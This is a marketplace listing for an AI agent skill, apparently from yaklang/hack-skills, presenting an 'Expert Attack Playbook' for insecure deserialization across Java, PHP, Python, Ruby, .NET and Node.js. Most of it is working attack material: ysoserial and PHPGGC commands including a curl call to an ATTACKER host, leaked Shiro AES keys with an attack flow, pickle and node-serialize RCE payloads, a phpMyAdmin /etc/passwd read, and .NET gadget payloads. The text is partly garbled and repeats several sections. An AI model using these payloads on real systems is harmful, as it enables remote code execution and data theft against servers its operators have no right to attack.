Install
$ agentstack add skill-yaklang-hack-skills-deserialization-insecure Open-source listing, not yet scanned by AgentStack. Follow the source repository for install instructions.
Security review
⚠ Flagged1 finding(s); flagged for manual review. · v0.1.0 How review works →
- • Prompt-injection patterns
- • Secret / credential exfiltration
- • Dangerous shell & filesystem operations
- • Untrusted network calls
- • Known-malicious package signatures
- high Dangerous shell/eval execution.
What it can access
- ● Network access Used
- ● Filesystem access Used
- ● Shell / process execution Used
- ✓ Environment & secrets No
- ● Dynamic code execution Used
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
SKILL: Insecure Deserialization — Expert Attack Playbook
> AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
0. RELATED ROUTING
- [jndi-injection](../jndi-injection/SKILL.md) when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when a WAF blocks your BCEL ClassLoader or Fastjson
@typepayload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
Advanced Reference
Also load [JAVAGADGETCHAINS.md](./JAVAGADGETCHAINS.md) when you need:
- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
- Detection fingerprints: magic bytes table by format (Java
AC ED, .NETAAEAAD, Python pickle80 0N, PHPO:, Ruby04 08)
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
Java Serialized Objects
| Indicator | Where to Look | |---|---| | Hex ac ed 00 05 | Raw binary in request/response body, cookies, POST params | | Base64 rO0AB | Cookies (rememberMe), hidden form fields, JWT claims | | Content-Type: application/x-java-serialized-object | HTTP headers | | T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
PHP Serialized Objects
| Indicator | Where to Look | |---|---| | O:NUMBER:"ClassName" pattern | POST body, cookies, session files | | a:NUMBER:{ (array) | Same locations | | phar:// URI usage | File operations accepting user-controlled paths |
Python Pickle
| Indicator | Where to Look | |---|---| | Hex 80 03 or 80 04 (protocol 3/4) | Binary data in requests, message queues | | Base64-encoded binary blob | API params, cookies, Redis values | | pickle.loads / pickle.load in source | Code review / whitebox |
2. JAVA — GADGET CHAINS AND TOOLS
ysoserial — Primary Tool
# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2 — Spring Framework
# Groovy1 — Groovy
# Hibernate1 — Hibernate
# JBossInterceptors1 — JBoss
# Jdk7u21 — JDK 7u21 (no extra dependency)
# URLDNS — DNS-only confirmation (no RCE, works everywhere)
URLDNS — Safe Confirmation Probe
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
Commons Collections — The Classic Chain
The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.
Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.
Apache Shiro — rememberMe Deserialization
Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
Attack flow:
- Detect: response sets
rememberMe=deleteMecookie on invalid session - Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
- AES-CBC encrypt with known key + random IV
- Base64-encode → set as
rememberMecookie value - Send request → server decrypts → deserializes → RCE
DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.
Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).
WebLogic Deserialization
Multiple vectors:
- T3 protocol (port 7001): direct serialized object injection
- XMLDecoder (CVE-2017-10271): XML-based deserialization via
/wls-wsat/CoordinatorPortType - IIOP protocol: alternative to T3
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner
Java RMI Registry
RMI Registry (port 1099) accepts serialized objects by design:
# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
# Requires: vulnerable library on target's classpath
# Works on: JDK = 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
---
## 3. PHP — unserialize AND PHAR
### Magic Method Chain
PHP deserialization triggers magic methods in order:
__wakeup() → called immediately on unserialize() __destruct() → called when object is garbage-collected __toString() → called when object is used as string __call() → called for inaccessible methods
**Attack**: craft a serialized object whose `__destruct()` or `__wakeup()` triggers dangerous operations (file write, SQL query, command execution, SSRF).
### Serialized Object Format
```php
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin Configuration Injection (Real-World Case)
phpMyAdmin PMA_Config class reads arbitrary files via source property:
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP Gadget Chain Generator
# List available chains:
phpggc -l
# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1
Phar Deserialization
Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.
Triggering functions (partial list):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()
Attack flow:
- Upload a valid file (e.g., JPEG with phar polyglot)
- Trigger file operation:
file_exists("phar://uploads/avatar.jpg") - PHP deserializes phar metadata → gadget chain executes
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
4. PYTHON — PICKLE
__reduce__ Method
Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()
Analyzing Pickle Opcodes
import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Common Python Deserialization Sinks
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
Defensive Bypass: RestrictedUnpickler
Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
If safe_builtins includes eval, exec, or __import__ → still exploitable.
5. DETECTION METHODOLOGY
Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│ ├── Use URLDNS probe for safe confirmation
│ ├── Identify libraries (error messages, known product)
│ └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│ ├── Identify framework (Laravel, Symfony, WordPress)
│ ├── Try PHPGGC chains for that framework
│ └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│ ├── Try pickle payload with DNS callback
│ └── Check if PyYAML unsafe load is used
│
└── Not sure?
├── Try URLDNS payload (Java) — check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures
6. DEFENSE AWARENESS
| Language | Mitigation | |---|---| | Java | JEP 290 deserialization filters; whitelist allowed classes; avoid ObjectInputStream on untrusted data; use JSON/Protobuf instead | | PHP | Avoid unserialize() on user input; use json_decode() instead; block phar:// in file operations | | Python | Use pickle only for trusted data; use json for external input; PyYAML: always use yaml.safe_load() |
7. QUICK REFERENCE — KEY PAYLOADS
# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
# Shiro default key test
rememberMe=
8. RUBY DESERIALIZATION
Ruby Marshal
Marshal.loadon untrusted data → RCE- Fingerprint: binary data, no common text header
- Gadget chains exist for various Ruby versions
- Docker verification: hex payload via
[hex_string].pack("H*")
Ruby YAML (YAML.load)
YAML.load(notYAML.safe_load) executes arbitrary Ruby objects- Pre Ruby 2.7.2:
Gem::Requirementchain →git_set: id/git_set: sleep 600 - Ruby 2.x-3.x:
Gem::Installer→TarReader→Kernel#systemchain (longer, multi-step) - Always test:
YAML.load("--- !ruby/object:Gem::Installer\ni: x")for class instantiation check - Payload template:
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"
- Note:
YAML.safe_loadis safe (Ruby 2.1+);Psych.safe_loadalso safe
9. .NET DESERIALIZATION
- Traffic fingerprint:
- BinaryFormatter: hex
AAEAAD(base64AAEAAAD/////) - ViewState: hex
FF01or/wprefix - JSON.NET:
$typeproperty in JSON - BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
- XmlSerializer:
ObjectDataProvider+XamlReaderchain for command execution
```xml
Start cmd/c calc
```
- NetDataContractSerializer: similar to BinaryFormatter, full type info in XML
- LosFormatter: used in ViewState, deserializes to
ObjectStateFormatter - JSON.NET:
$typeproperty enables type control →ObjectDataProvider+ExpandedWrapperchains
``json {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}} ``
- Tool:
ysoserial.net— generate payloads for all .NET formatters
``text ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64 ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" ``
- POP gadgets:
ObjectDataProvider,ExpandedWrapper,AssemblyInstaller.set_Path
10. NODE.JS DESERIALIZATION
- node-serialize:
unserialize()with IIFE (Immediately Invoked Function Expression) - Payload marker:
_$$ND_FUNC$$_ - Add
()at end to auto-execute:
``json {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"} ``
- funcster:
__js_functionproperty →constructor.constructorto accessprocess
``json {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"} ``
- cryo: similar to funcster, serializes JS objects with function support
RUBY DESERIALIZATION
Marshal (Binary Format)
# Ruby's Marshal.load is equivalent to Java's ObjectInputStream
# Any class with marshal_dump/marshal_load can be a gadget
# Detection: binary data starting with \x04\x08
# Or hex: 0408
# PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload) # triggers arbitrary code execution
YAML.load (Critical — Most Common Ruby Deser Sink)
# YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects
# Ruby ` | XmlSerializer / NetDataContractSerializer |
### BinaryFormatter / LosFormatter
Most dangerous — arbitrary type instantiation
Tool: ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64 ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64
LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
### XmlSerializer + ObjectDataProvider
```xml
cmd.exe
/c whoami
cmd.exe
/c whoami
JSON.NET with TypeNameHandling
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
Vulnerable when TypeNameHandling is set to Auto, Objects, Arrays, or All.
Tools
pwntester/ysoserial.net— primary .NET deserialization payload generator- Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile
NODE.JS DESERIALIZATION
node-serialize (IIFE Pattern)
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';
// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function
// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_p
…
## Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- **Author:** [yaklang](https://github.com/yaklang)
- **Source:** [yaklang/hack-skills](https://github.com/yaklang/hack-skills)
- **License:** MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.